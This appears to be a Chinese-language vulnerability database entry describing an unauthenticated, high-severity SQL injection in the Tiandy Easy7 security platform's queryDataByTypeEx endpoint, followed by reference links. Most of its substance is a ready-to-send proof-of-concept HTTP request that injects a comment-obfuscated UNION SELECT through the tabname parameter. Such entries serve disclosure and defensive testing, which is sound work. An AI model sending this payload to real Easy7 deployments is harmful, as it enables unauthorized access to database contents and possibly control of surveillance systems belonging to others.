Description
该漏洞是高危级SQL注入漏洞，攻击者无需授权即可通过精心构造的 tabname参数窃取数据库信息甚至控制整个安防平台。
天地伟业Easy7 /Easy7/rest/workbook/queryDataByTypeEx SQL 注入漏洞
PoC
GET /Easy7/rest/workbook/queryDataByTypeEx?tabname=/*!TAB_WORKBOOK_TYPE*/where/**/1=1/**/union/**/select/**/md5(1),1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/easy7-workbook-queryDataByTypeEx-sqli.html
https://www.gm7.org/archives/93921
https://cn-sec.com/archives/5203763.html
https://ddpoc.com/DVB-2025-10265.html
https://github.com/111ddea/test123/blob/master/%E5%A4%A9%E5%9C%B0%E4%BC%9F%E4%B8%9AEasy7-queryDataByTypeEx%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md